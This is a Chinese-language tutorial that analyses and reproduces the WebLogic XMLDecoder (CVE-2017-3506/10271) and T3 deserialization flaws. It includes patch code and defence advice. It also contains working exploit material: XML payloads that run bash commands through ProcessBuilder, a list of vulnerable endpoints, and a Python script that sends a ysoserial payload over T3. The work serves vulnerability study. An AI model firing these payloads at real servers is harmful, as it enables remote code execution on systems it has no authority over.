初窥weblogic漏洞之XMLDecoder和T3反序列化漏洞
字数 2710 2025-08-11 08:36:24

WebLogic漏洞分析与复现:XMLDecoder和T3反序列化漏洞

1. WebLogic简介

Oracle WebLogic Server是一个统一的可扩展平台,专用于开发、部署和运行Java应用等适用于本地环境和云环境的企业应用。它提供了一种强健、成熟和可扩展的Java Enterprise Edition (EE)和Jakarta EE实施方式。

Web中间件与Web容器的区别

  • Web容器:可以提供Web应用程序的运行环境,支持Servlet和JSP技术,处理HTTP请求和响应。例如Tomcat。
  • Web中间件:可以提供系统软件和应用软件之间的连接和交互,支持各种协议和技术,实现数据处理、服务治理、负载均衡等功能。例如WebLogic。
  • 关系:Web容器有时也可以作为Web中间件的一部分,比如Tomcat既可以作为Web容器也可以作为Web中间件。

2. WebLogic环境搭建

搭建步骤

  1. 使用Docker搭建环境,修改Dockerfile解决CentOS镜像源问题:

    FROM centos
    RUN cd /etc/yum.repos.d/
    RUN sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-*
    RUN sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*
    
  2. 解决Windows与Linux换行符差异:

    # 安装JDK
    RUN sed -i 's/\r//' /scripts/jdk_install.sh
    RUN /scripts/jdk_install.sh
    # 安装weblogic
    RUN sed -i 's/\r//' /scripts/weblogic_install.sh
    RUN /scripts/weblogic_install.sh
    # 创建Weblogic Domain
    RUN sed -i 's/\r//' /scripts/create_domain.sh
    RUN /scripts/create_domain.sh
    # 打开Debug模式
    RUN sed -i 's/\r//' /scripts/open_debug_mode.sh
    RUN /scripts/open_debug_mode.sh
    

远程调试配置

  1. 从容器中复制关键文件:

    docker cp 容器的ip:/u01/app/oracle/middleware/modules .
    docker cp 容器的ip:/u01/app/oracle/middleware/wlserver/server/lib .
    
  2. 使用IDEA打开文件夹,将这两个目录添加到库

  3. 配置远程调试

3. XMLDecoder反序列化漏洞

漏洞背景

XMLDecoder类似于fastjson,用于将JVM中的Java对象持久化为文件。它使用SAX(Simple API for XML)解析规范。

SAX解析流程

  1. 通过JAXP的工厂方法生成SAX对象
  2. SAX对象使用SAXParser.parer()作为事件源
  3. ContentHandlerErrorHandlerDTDHandlerEntityResolver作为事件处理器
  4. 通过注册方法将事件源和事件处理器连接起来

漏洞复现(CVE-2017-3506)

  1. 访问http://localhost:7001/wls-wsat/CoordinatorPortType
  2. 使用Burp Suite抓包,修改请求:
    • 请求类型改为POST
    • Content-Type改为text/xml
  3. 使用以下POC:
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
          <java version="1.8.0_131" class="java.beans.XMLDecoder">
            <object class="java.lang.ProcessBuilder">
              <array class="java.lang.String" length="3">
                <void index="0">
                  <string>/bin/bash</string>
                </void>
                <void index="1">
                  <string>-c</string>
                </void>
                <void index="2">
                  <string>ping 999.merkwg.ceye.io</string>
                </void>
              </array>
              <void method="start"/></object>
          </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
    </soapenv:Envelope>
    

其他可能触发漏洞的路径

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

漏洞分析流程

  1. XMLDecoder.readObject()方法调用parsingComplete()方法
  2. parsingComplete()调用DocumentHandler.parse()方法
  3. 创建SAXParser实例并调用其parse()方法
  4. 进入AbstractSAXParser.parse()XMLParser.parse()XML11Configuration.parse()
  5. 进入XMLDocumentFragmentScannerImpl.scanDocument()XMLDocumentScannerImpl.next()
  6. 进入XMLDocumentFragmentScannerImpl$FragmentContentDriver.next()
  7. 进入XMLDocumentFragmentScannerImpl.scanStartElement()
  8. 最终到达DocumentHandler.endElement()方法

关键点:

  • StringElementHandler没有endElement方法,直接进入其父类ElementHandler.endElement()
  • 调用getValueObject方法将传递的值赋给value
  • 解析<void class="java.lang.ProcessBuilder"><void method="start"/>时:
    • 新建Expression对象并调用其getValue方法
    • 通过反射调用ProcessBuilderstart方法

漏洞修复与绕过

初始修复:过滤object标签

private void validate(InputStream is) {
    // ...
    if(qName.equalsIgnoreCase("object")) {
        throw new IllegalStateException("Invalid context type: object");
    }
    // ...
}

绕过(CVE-2017-10271):使用void标签替代object标签

<void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
        <void index="0">
            <string>/bin/bash</string>
        </void>
        <void index="1">
            <string>-c</string>
        </void>
        <void index="2">
            <string>ping 999.merkwg.ceye.io</string>
        </void>
    </array>
    <void method="start"/>
</void>

再次修复:采用黑白名单结合的方式

private void validate(InputStream is) {
    // 黑名单
    if(qName.equalsIgnoreCase("object")) {
        throw new IllegalStateException("Invalid element qName:object");
    } else if(qName.equalsIgnoreCase("new")) {
        throw new IllegalStateException("Invalid element qName:new");
    } else if(qName.equalsIgnoreCase("method")) {
        throw new IllegalStateException("Invalid element qName:method");
    }
    // 白名单检查
    if(qName.equalsIgnoreCase("void")) {
        for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
            if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
            }
        }
    }
    if(qName.equalsIgnoreCase("array")) {
        String var9 = attributes.getValue("class");
        if(var9 != null && !var9.equalsIgnoreCase("byte")) {
            throw new IllegalStateException("The value of class attribute is not valid for array element.");
        }
    }
}

4. T3反序列化漏洞

相关概念

JNDI (Java Naming and Directory Interface)

  • 提供统一的客户端API,为开发人员提供查找和访问各种命名和目录服务的通用接口
  • 兼容现有目录服务如:DNS、XNam、LDAP、CORBA对象服务、文件系统、RMI等
  • 格式:jdbc://<domain>:<port>rmi://<domain>:<port>ldap://<domain>:<port>

RMI (Remote Method Invocation)

  • 远程方法调用,允许某个Java虚拟机上的对象像调用本地对象一样调用另一个Java虚拟机中的对象上的方法
  • 默认通信协议为JRMP,也支持其他协议如WebLogic的T3和兼容CORBA的IIOP

WebLogic RMI特点

  1. 支持集群部署和负载均衡
  2. 服务端使用字节码生成(Hot Code Generation)功能生成代理对象
  3. 客户端使用动态代理
  4. 主要使用T3协议进行数据传输

T3协议特点

  1. 服务端可以持续追踪监控客户端是否存活(心跳机制,间隔60秒,超时240秒判定连接丢失)
  2. 通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗

漏洞原理

T3数据包结构:

  • 以T3协议头开始
  • 后面跟上序列化对象
  • 序列化对象前面加上fe010000

攻击方法:使用恶意的序列化对象替换其中一个序列化对象(注意替换后重新计算数据包长度)

漏洞复现步骤

  1. 发送握手包
import socket
import sys

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print(f'connecting to {server_address[0]} port {server_address[1]}')
sock.connect(server_address)

handshake='t3 10.3.6\nAS:255\nHL:19\n\n'
print(f'sending "{handshake}"')
sock.sendall(handshake.encode())
data = sock.recv(1024)
print(f'received "{data.decode()}"')
  1. 生成恶意序列化对象
java -jar ysoserial-all.jar CommonsCollections1 "touch /hacked_by_tunan.txt" > payload.bin
  1. 构造并发送恶意T3数据包
import binascii
import struct

# 读取payload
payloadObj = open(sys.argv[3],'rb').read()

# T3协议头部分(从原始数据包中复制)
t3_header=binascii.a2b_hex('000006110665000......537475627009fe010000')

# 构造payload
payload=t3_header+payloadObj
payload=payload+binascii.a2b_hex('fe010000aced00057372001d77656......707702000078fe00ff')

# 重新计算数据包大小
payload = struct.pack('!i', len(payload)) + payload[4:]

# 发送payload
sock.send(payload)

WebLogic RMI服务端与客户端构建

服务端接口

package examples.rmi.hello;
import java.rmi.RemoteException;

public interface IHello extends java.rmi.Remote {
    String sayHello() throws RemoteException;
}

服务端实现

package examples.rmi.hello;
import javax.naming.*;
import java.rmi.RemoteException;

public class HelloImpl implements IHello {
    private String name;
    
    public HelloImpl(String s) throws RemoteException {
        super();
        name = s;
    }
    
    public String sayHello() throws java.rmi.RemoteException {
        return "Hello World!";
    }
    
    public static void main(String args[]) throws Exception {
        try {
            HelloImpl obj = new HelloImpl("HelloServer");
            Context ctx = new InitialContext();
            ctx.bind("HelloServer", obj);
            System.out.println("HelloImpl created and bound in the registry to the name HelloServer");
        } catch (Exception e) {
            System.err.println("HelloImpl.main: an exception occurred:");
            System.err.println(e.getMessage());
            throw e;
        }
    }
}

客户端

package examples.rmi.hello;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class HelloClient {
    public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
    
    public static void main(String[] argv) throws Exception {
        String host = argv[0];
        int port = Integer.parseInt(argv[1]);
        
        try {
            InitialContext ic = getInitialContext("t3://" + host + ":" + port);
            IHello obj = (IHello) ic.lookup("HelloServer");
            System.out.println("Successfully connected to HelloServer on " + host + " at port " + port);
            System.out.println(obj.sayHello());
        } catch (Exception ex) {
            System.err.println("An exception occurred: " + ex.getMessage());
            throw ex;
        }
    }
    
    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }
}

Maven配置

<project>
    <modelVersion>4.0.0</modelVersion>
    <groupId>examples.rmi</groupId>
    <artifactId>hello</artifactId>
    <version>1.0-SNAPSHOT</version>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <configuration>
                    <source>1.6</source>
                    <target>1.6</target>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-jar-plugin</artifactId>
                <configuration>
                    <archive>
                        <manifest>
                            <addClasspath>true</addClasspath>
                            <useUniqueVersions>false</useUniqueVersions>
                            <classpathPrefix>lib/</classpathPrefix>
                            <mainClass>examples.rmi.hello.HelloImpl</mainClass>
                        </manifest>
                    </archive>
                </configuration>
            </plugin>
        </plugins>
    </build>
</project>

5. 总结

XMLDecoder反序列化漏洞要点

  1. 漏洞存在于WebLogic的wls-wsat组件中
  2. 通过构造恶意的XML请求触发XMLDecoder反序列化
  3. 初始修复不完善,可通过替换标签绕过
  4. 最终修复采用黑白名单结合的方式

T3反序列化漏洞要点

  1. 利用WebLogic T3协议的特性
  2. 通过替换T3数据包中的序列化对象实现攻击
  3. 需要精确控制数据包结构和长度
  4. 利用ysoserial等工具生成恶意序列化对象

防护建议

  1. 及时更新WebLogic到最新版本
  2. 关闭不必要的服务端口
  3. 对wls-wsat等组件进行访问控制
  4. 监控异常的网络请求和系统操作
WebLogic漏洞分析与复现:XMLDecoder和T3反序列化漏洞 1. WebLogic简介 Oracle WebLogic Server是一个统一的可扩展平台,专用于开发、部署和运行Java应用等适用于本地环境和云环境的企业应用。它提供了一种强健、成熟和可扩展的Java Enterprise Edition (EE)和Jakarta EE实施方式。 Web中间件与Web容器的区别 Web容器 :可以提供Web应用程序的运行环境,支持Servlet和JSP技术,处理HTTP请求和响应。例如Tomcat。 Web中间件 :可以提供系统软件和应用软件之间的连接和交互,支持各种协议和技术,实现数据处理、服务治理、负载均衡等功能。例如WebLogic。 关系 :Web容器有时也可以作为Web中间件的一部分,比如Tomcat既可以作为Web容器也可以作为Web中间件。 2. WebLogic环境搭建 搭建步骤 使用Docker搭建环境,修改Dockerfile解决CentOS镜像源问题: 解决Windows与Linux换行符差异: 远程调试配置 从容器中复制关键文件: 使用IDEA打开文件夹,将这两个目录添加到库 配置远程调试 3. XMLDecoder反序列化漏洞 漏洞背景 XMLDecoder类似于fastjson,用于将JVM中的Java对象持久化为文件。它使用SAX(Simple API for XML)解析规范。 SAX解析流程 : 通过JAXP的工厂方法生成SAX对象 SAX对象使用 SAXParser.parer() 作为事件源 ContentHandler 、 ErrorHandler 、 DTDHandler 、 EntityResolver 作为事件处理器 通过注册方法将事件源和事件处理器连接起来 漏洞复现(CVE-2017-3506) 访问 http://localhost:7001/wls-wsat/CoordinatorPortType 使用Burp Suite抓包,修改请求: 请求类型改为POST Content-Type改为 text/xml 使用以下POC: 其他可能触发漏洞的路径 : 漏洞分析流程 XMLDecoder.readObject() 方法调用 parsingComplete() 方法 parsingComplete() 调用 DocumentHandler.parse() 方法 创建 SAXParser 实例并调用其 parse() 方法 进入 AbstractSAXParser.parse() → XMLParser.parse() → XML11Configuration.parse() 进入 XMLDocumentFragmentScannerImpl.scanDocument() → XMLDocumentScannerImpl.next() 进入 XMLDocumentFragmentScannerImpl$FragmentContentDriver.next() 进入 XMLDocumentFragmentScannerImpl.scanStartElement() 最终到达 DocumentHandler.endElement() 方法 关键点: StringElementHandler 没有 endElement 方法,直接进入其父类 ElementHandler.endElement() 调用 getValueObject 方法将传递的值赋给value 解析 <void class="java.lang.ProcessBuilder"> 和 <void method="start"/> 时: 新建 Expression 对象并调用其 getValue 方法 通过反射调用 ProcessBuilder 的 start 方法 漏洞修复与绕过 初始修复 :过滤 object 标签 绕过(CVE-2017-10271) :使用 void 标签替代 object 标签 再次修复 :采用黑白名单结合的方式 4. T3反序列化漏洞 相关概念 JNDI (Java Naming and Directory Interface) : 提供统一的客户端API,为开发人员提供查找和访问各种命名和目录服务的通用接口 兼容现有目录服务如:DNS、XNam、LDAP、CORBA对象服务、文件系统、RMI等 格式: jdbc://<domain>:<port> 、 rmi://<domain>:<port> 、 ldap://<domain>:<port> RMI (Remote Method Invocation) : 远程方法调用,允许某个Java虚拟机上的对象像调用本地对象一样调用另一个Java虚拟机中的对象上的方法 默认通信协议为JRMP,也支持其他协议如WebLogic的T3和兼容CORBA的IIOP WebLogic RMI特点 : 支持集群部署和负载均衡 服务端使用字节码生成(Hot Code Generation)功能生成代理对象 客户端使用动态代理 主要使用T3协议进行数据传输 T3协议特点 : 服务端可以持续追踪监控客户端是否存活(心跳机制,间隔60秒,超时240秒判定连接丢失) 通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗 漏洞原理 T3数据包结构: 以T3协议头开始 后面跟上序列化对象 序列化对象前面加上 fe010000 攻击方法:使用恶意的序列化对象替换其中一个序列化对象(注意替换后重新计算数据包长度) 漏洞复现步骤 发送握手包 : 生成恶意序列化对象 : 构造并发送恶意T3数据包 : WebLogic RMI服务端与客户端构建 服务端接口 : 服务端实现 : 客户端 : Maven配置 : 5. 总结 XMLDecoder反序列化漏洞要点 漏洞存在于WebLogic的wls-wsat组件中 通过构造恶意的XML请求触发XMLDecoder反序列化 初始修复不完善,可通过替换标签绕过 最终修复采用黑白名单结合的方式 T3反序列化漏洞要点 利用WebLogic T3协议的特性 通过替换T3数据包中的序列化对象实现攻击 需要精确控制数据包结构和长度 利用ysoserial等工具生成恶意序列化对象 防护建议 及时更新WebLogic到最新版本 关闭不必要的服务端口 对wls-wsat等组件进行访问控制 监控异常的网络请求和系统操作